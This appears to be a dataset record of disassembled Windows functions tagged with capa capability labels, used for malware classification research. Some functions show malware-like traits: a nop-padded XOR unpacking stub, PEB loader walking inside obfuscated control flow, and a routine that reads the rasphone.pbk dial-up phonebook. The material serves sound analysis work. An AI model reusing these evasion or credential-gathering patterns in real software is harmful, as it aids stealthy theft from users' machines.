joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5abbb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 4
call fcn.0052df00
mov eax, dword [ebp + 0x20]
push ebx
push esi
push edi
mov ecx, dword [eax]
test ecx, ecx
mov dword [ebp - 4], ecx
je 0x5abbfd
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x5abbfd
mov edx, dword [ebp + 0x1c]
mov esi, dword [ebp + 8]
mov dl, byte [ecx + edx]
mov al, byte [esi]
xor dl, al
mov eax, dword [ebp + 0xc]
mov byte [eax], dl
mov edx, dword [ebp + 0x10]
inc eax
inc esi
dec edx
inc ecx
and ecx, 0xf
mov dword [ebp + 0xc], eax
mov dword [ebp + 8], esi
mov dword [ebp + 0x10], edx
mov dword [ebp - 4], ecx
jne 0x5abbcc
mov esi, dword [ebp + 0x18]
mov eax, dword [esi + 0xc]
mov dword [ebp + 0x18], eax
mov eax, dword [ebp + 0x18]
bswap eax
mov ebx, eax
mov eax, dword [ebp + 0x10]
cmp eax, 0x10
jb 0x5abc8a
mov edi, dword [ebp + 0x10]
shr edi, 4
add ebx, edi
cmp ebx, edi
mov dword [ebp + 0x18], ebx
jae 0x5abc2b
sub edi, ebx
xor ebx, ebx
mov dword [ebp + 0x18], ebx
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push esi
push ecx
push edi
push edx
push eax
call dword [ebp + 0x24]
add esp, 0x14
mov eax, dword [ebp + 0x18]
bswap eax
test ebx, ebx
mov dword [esi + 0xc], eax
jne 0x5abc67
mov eax, 0xc
mov ecx, 1
dec eax
xor edx, edx
mov dl, byte [eax + esi]
add ecx, edx
mov byte [eax + esi], cl
shr ecx, 8
test eax, eax
jne 0x5abc55
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
shl edi, 4
sub eax, edi
add ecx, edi
add edx, edi
cmp eax, 0x10
mov dword [ebp + 0x10], eax
mov dword [ebp + 0xc], ecx
mov dword [ebp + 8], edx
jae 0x5abc15
mov ecx, dword [ebp - 4]
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x5abd18
mov edi, dword [ebp + 0x1c]
mov edx, dword [ebp + 0x14]
mov ecx, edi
xor eax, eax
push esi
push edx
mov dword [ecx], eax
push 1
push edi
push edi
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
call dword [ebp + 0x24]
add esp, 0x14
inc ebx
mov dword [ebp + 0x18], ebx
mov eax, dword [ebp + 0x18]
bswap eax
test ebx, ebx
mov dword [esi + 0xc], eax
jne 0x5abce2
mov eax, 0xc
mov ecx, 1
dec eax
xor edx, edx
mov dl, byte [eax + esi]
add ecx, edx
mov byte [eax + esi], cl
shr ecx, 8
test eax, eax
jne 0x5abcd0
mov ecx, dword [ebp + 0x10]
mov esi, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
mov ebx, dword [ebp - 4]
dec ecx
sub esi, edi
sub edx, edi
inc ecx
lea eax, [ebx + edi]
add ebx, ecx
mov dword [ebp - 4], ebx
mov bl, byte [esi + eax]
xor bl, byte [eax]
inc eax
dec ecx
mov byte [edx + eax - 1], bl
jne 0x5abcfc
mov eax, dword [ebp + 0x20]
mov ecx, dword [ebp - 4]
pop edi
pop esi
mov dword [eax], ecx
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 0x20]
pop edi
pop esi
pop ebx
mov dword [edx], ecx
mov esp, ebp
pop ebp
ret
Function at 0x5b66d0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.0052df00
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x5b679b
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x5b679b
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x5b674e
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x5b6759
or bh, 8
and edi, 0x8000000
je 0x5b6774
mov eax, dword [0x68de9c]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x5b679b
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x5b6b70
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x5b6b9b
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x5b6bbf
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x5b6bda
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
Function at 0x5bcb8a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
mov eax, ebx
push edi
mov edi, ecx
shr eax, 0x10
test ax, ax
mov dword [edi + 0x40], ebx
jne 0x5bcbac
cmp dword [edi + 0x3c], 0
jne 0x5bcbac
movzx eax, bx
mov dword [edi + 0x3c], eax
call fcn.005d8819
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
mov ecx, edi
push dword [esp + 0x18]
push eax
call fcn.005bcbd9
pop edi
pop esi
pop ebx
ret 8

Function at 0x5be86f
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x5be8a7
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.005bc8c8
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.005bc8a0
jmp 0x5be8b3
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x5c031d
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x5c035f
call fcn.005d8819
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x5c035f
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x5c0356
xor eax, eax
jmp 0x5c0367
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.005c036d
pop edi
pop esi
pop ebx
ret 4
Function at 0x413b80
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x44
mov eax, 0
mov ecx, dword [0x4eeff8]
mov edx, dword [0x4eeff4]
sub eax, 1
mov esi, ecx
add esi, eax
imul ecx, esi
and ecx, 1
cmp ecx, 0
sete bl
and bl, 1
mov byte [ebp - 0x12], bl
cmp edx, 0xa
setl bl
and bl, 1
mov byte [ebp - 0x11], bl
mov dword [ebp - 0x18], 0xc980d074
mov eax, dword [ebp - 0x18]
mov ecx, eax
sub ecx, 0x54740507
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], ecx
jg 0x413c2f
jmp 0x413bed
mov eax, dword [ebp - 0x1c]
sub eax, 0xc980d074
mov dword [ebp - 0x24], eax
je 0x413c4a
jmp 0x413c03
mov eax, dword [ebp - 0x1c]
sub eax, 0xe2f88772
mov dword [ebp - 0x28], eax
je 0x413d5d
jmp 0x413c19
mov eax, dword [ebp - 0x1c]
sub eax, 0xf24b89ff
mov dword [ebp - 0x2c], eax
je 0x413d68
jmp 0x413c45
mov eax, dword [ebp - 0x1c]
sub eax, 0x54740508
mov dword [ebp - 0x30], eax
je 0x413c9f
jmp 0x413c45
jmp 0x413dcd
mov eax, 0xf24b89ff
mov ecx, 0x54740508
mov dl, 1
mov dh, byte [ebp - 0x12]
mov bl, byte [ebp - 0x11]
mov bh, dh
xor bh, 1
mov dword [ebp - 0x34], eax
mov al, bl
xor al, 1
xor dl, 0
mov ah, bh
and ah, 0
and dh, dl
mov byte [ebp - 0x35], al
and al, 0
and bl, dl
or ah, dh
or al, bl
xor ah, al
mov al, byte [ebp - 0x35]
or bh, al
xor bh, 1
or dl, 0
and bh, dl
or ah, bh
test ah, 1
mov esi, dword [ebp - 0x34]
cmovne esi, ecx
mov dword [ebp - 0x18], esi
jmp 0x413dcd
mov eax, 4
mov dword [ebp - 0x3c], eax
call fcn.004cbb80
mov eax, esp
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x40], eax
mov eax, ecx
call fcn.004cbb80
mov eax, esp
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x44], eax
mov eax, ecx
call fcn.004cbb80
mov eax, esp
mov ecx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x40]
mov dword [edx], 0
mov dword [ecx], 0
mov dword [eax], 0
mov eax, dword fs:[0x30]
mov dword [edx], eax
mov eax, 0xf24b89ff
mov esi, 0xe2f88772
mov edx, dword [edx]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov edx, dword [edx]
mov edx, dword [edx]
mov edx, dword [edx + 0x10]
mov dword [ecx], edx
mov ecx, dword [ecx]
mov dword [ebp - 0x10], ecx
mov ecx, dword [0x4eeff8]
mov edx, dword [0x4eeff4]
mov edi, ecx
add edi, 0xf66d9da2
sub edi, 1
sub edi, 0xf66d9da2
imul ecx, edi
and ecx, 1
cmp ecx, 0
sete bl
cmp edx, 0xa
setl bh
mov cl, bl
and cl, bh
xor bl, bh
or cl, bl
test cl, 1
cmovne eax, esi
mov dword [ebp - 0x18], eax
jmp 0x413dcd
mov eax, dword [ebp - 0x10]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, 4
mov dword [ebp - 0x48], eax
call fcn.004cbb80
mov eax, esp
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
mov eax, ecx
call fcn.004cbb80
mov eax, esp
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0x50], eax
mov eax, ecx
call fcn.004cbb80
mov eax, esp
mov ecx, dword [ebp - 0x50]
mov edx, dword [ebp - 0x4c]
mov dword [edx], 0
mov dword [ecx], 0
mov dword [eax], 0
mov eax, dword fs:[0x30]
mov dword [edx], eax
mov eax, dword [edx]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x10]
mov dword [ecx], eax
mov dword [ebp - 0x18], 0x54740508
jmp 0x413bd1
Function at 0x4cef2a
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4ed4c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.004cd1d1
mov dword [ebp - 0x14], eax
cmp dword [0x4eecac], edi
jne 0x4cf01b
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x4cefa8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x4cf0fb
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x4cf0fb
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4cf0fb
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x4eecac], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x4eecb0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x4eecb4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4eecbc], eax
test eax, eax
je 0x4cf018
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4eecb8], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x4cf040
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x4cf033
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x4cf055
push 4
pop eax
jmp 0x4cf0fd
cmp dword [ebp - 0x14], edi
je 0x4cf055
push dword [0x4eecac]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x4cf03a
mov eax, dword [0x4eecb8]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x4cf0b3
cmp dword [0x4eecbc], esi
je 0x4cf0b3
push eax
call ebx
push dword [0x4eecbc]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x4cf0b3
test eax, eax
je 0x4cf0b3
call ecx
test eax, eax
je 0x4cf0a8
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x4cf0a8
test byte [ebp - 8], 1
jne 0x4cf0b3
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x4cf0e3
mov eax, dword [0x4eecb0]
cmp eax, esi
je 0x4cf0e0
push eax
call ebx
test eax, eax
je 0x4cf0e0
call eax
mov edi, eax
test edi, edi
je 0x4cf0e0
mov eax, dword [0x4eecb4]
cmp eax, esi
je 0x4cf0e0
push eax
call ebx
test eax, eax
je 0x4cf0e0
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x4eecac]
call ebx
test eax, eax
je 0x4cf0fb
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x4cf0fd
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004cf10c
leave
ret
Function at 0x4a1856
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4d4b20]
jne 0x4a1860
repz ret
jmp fcn.004a7ae3

Function at 0x4a5040
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4d4b20]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0049ddb2
and dword [ebp - 0x14], 0
cmp dword [0x4d7e5c], 0
mov dword [ebp - 0x18], eax
jne 0x4a50f3
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4a519b
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4af0e0
push ebx
call edi
test eax, eax
je 0x4a519b
mov esi, dword [fcn.00499940]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4d7e5c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4d7e60], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4d7e64], eax
call edi
push eax
call esi
mov dword [0x4d7e6c], eax
test eax, eax
je 0x4a50f3
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4d7e68], eax
mov eax, dword [0x4d7e68]
mov ecx, dword [ebp - 0x18]
mov esi, dword [fcn.00499944]
cmp eax, ecx
je 0x4a514c
cmp dword [0x4d7e6c], ecx
je 0x4a514c
push eax
call esi
push dword [0x4d7e6c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4a514c
test ebx, ebx
je 0x4a514c
call edi
test eax, eax
je 0x4a5143
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4a5143
test byte [ebp - 8], 1
jne 0x4a514c
or dword [ebp + 0x10], 0x200000
jmp 0x4a517f
mov eax, dword [0x4d7e60]
cmp eax, dword [ebp - 0x18]
je 0x4a517f
push eax
call esi
test eax, eax
je 0x4a517f
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4a517f
mov eax, dword [0x4d7e64]
cmp eax, dword [ebp - 0x18]
je 0x4a517f
push eax
call esi
test eax, eax
je 0x4a517f
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4d7e5c]
call esi
test eax, eax
je 0x4a519b
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4a519d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004a1856
leave
ret

Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..pdata
mov ebx, 0x408f6c
nop
mov ecx, 0x4c854c95
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..pdata_1
nop
mov ebx, 0x42e3d0
nop
mov ecx, 0x389f4f1a
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x4010f0
Capabilities:
Terminate thread

Disassembly:
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov al, byte [esi + 0x44]
mov dword [esi], 0x423230
test al, al
je 0x40114c
mov eax, dword [esi + 0x18]
push eax
call dword [0x42e294]
mov ecx, dword [esi + 0x18]
push ecx
call dword [0x42e290]
mov ebp, dword [0x42e2b0]
lea edi, [esi + 0x30]
mov ebx, 2
mov edx, dword [edi]
mov eax, dword [esi + 0x18]
push 0x20
push edx
push eax
call ebp
add edi, 4
dec ebx
jne 0x401125
mov ecx, dword [esi + 0x18]
push ecx
call dword [0x42e288]
mov edx, dword [esi + 0x2c]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov al, byte [esi + 0x45]
test al, al
je 0x401186
mov eax, dword [esi + 0x40]
push eax
call dword [0x42e284]
mov ebp, dword [0x42e280]
lea edi, [esi + 0x30]
mov ebx, 2
mov ecx, dword [edi]
mov edx, dword [esi + 0x40]
push 0x20
push ecx
push edx
call ebp
add edi, 4
dec ebx
jne 0x40116b
mov eax, dword [esi + 0x40]
push eax
call dword [0x42e2b8]
lea edi, [esi + 0x30]
mov ebx, 2
mov ecx, dword [edi - 0x28]
push ecx
call fcn.0041827c
mov edx, dword [edi]
push edx
call fcn.0041827c
mov eax, dword [edi - 0x20]
push eax
call fcn.0041827c
mov ecx, dword [edi + 8]
push ecx
call fcn.0041827c
add esp, 0x10
add edi, 4
dec ebx
jne 0x40118e
mov edx, dword [esi + 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call edi
mov eax, dword [esi + 0x28]
push eax
call edi
mov ecx, dword [esi + 0x2c]
push ecx
call edi
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x4012c0
Capabilities:
Create thread
Resume thread

Disassembly:
push ecx
push ebx
push edi
mov edi, ecx
call dword [0x42e2a8]
test eax, eax
jne 0x4012d5
pop edi
xor al, al
pop ebx
pop ecx
ret
lea eax, [esp + 8]
mov dword [esp + 8], 0
push eax
push 4
push edi
push 0x401430
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 8]
push 0x20000
push 0
lea edx, [edi + 0x46]
push ecx
lea ebx, [edi + 0x18]
push edx
push 0xffff
push ebx
mov dword [edi + 0x2c], eax
call dword [0x42e2ac]
test eax, eax
je 0x401320
pop edi
xor al, al
pop ebx
pop ecx
ret
push ebp
push esi
lea esi, [edi + 0x30]
mov ebp, 2
mov eax, dword [esi]
mov ecx, dword [esi - 0x28]
push 0x20
mov dword [eax], ecx
mov edx, dword [esi]
mov eax, dword [edi + 4]
mov dword [edx + 4], eax
mov ecx, dword [esi]
xor eax, eax
mov dword [ecx + 0x10], eax
mov edx, dword [esi]
mov dword [edx + 0x14], eax
mov eax, dword [esi]
mov ecx, dword [ebx]
push eax
push ecx
call dword [0x42e2b4]
add esi, 4
dec ebp
jne 0x40132a
mov edx, dword [edi + 0x1c]
mov ecx, dword [ebx]
push 0x20
mov eax, dword [edi + edx*4 + 0x30]
push eax
push ecx
call dword [0x42e2a0]
mov edx, dword [edi + 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [ebx]
push eax
call dword [0x42e29c]
mov al, 1
pop esi
mov byte [edi + 0x44], al
pop ebp
pop edi
pop ebx
pop ecx
ret
Function at 0x402910
Capabilities:
Get common file path
Read .ini file

Disassembly:
sub esp, 0x220
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x20]
push 0x105
mov esi, ecx
push eax
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.Documents_and_Settings_
lea ecx, [esp + 0x24]
push 0x5c
push ecx
call fcn.00418c20
add esp, 8
inc eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esi + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x20]
push edx
push eax
call esi
lea ecx, [esp + 0x20]
push str.Application_DataMicrosoftNetworkConnectionspbk_rasphone.pbk
push ecx
call esi
push 0
lea edx, [esp + 0x12c]
push 0x23
push edx
push 0
call dword [0x42e164]
lea eax, [esp + 0x128]
push str.MicrosoftNetworkConnectionspbk_rasphone.pbk
push eax
lea ecx, [esp + 0x130]
push str._s___s
push ecx
call dword [0x42e208]
lea edx, [esp + 0x30]
lea eax, [esp + 0x138]
push 0x1000
mov dword [esp + 0x2c], edx
mov dword [esp + 0x30], eax
call fcn.0041826e
add esp, 0x14
mov ebx, eax
lea ebp, [esp + 0x18]
mov dword [esp + 0x14], 2
mov ecx, 0x400
xor eax, eax
mov edi, ebx
rep stosd dword es:[edi], eax
mov ecx, dword [ebp]
push ecx
push 0x1000
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
mov al, byte [ebx]
mov esi, ebx
test al, al
je 0x402a0b
mov edx, dword [esp + 0x10]
push esi
inc edx
mov dword [esp + 0x14], edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esi + eax + 1]
cmp byte [esi], 0
jne 0x4029f2
mov eax, dword [esp + 0x14]
add ebp, 4
dec eax
mov dword [esp + 0x14], eax
jne 0x4029cf
push ebx
call fcn.0041827c
mov eax, dword [esp + 0x14]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x220
ret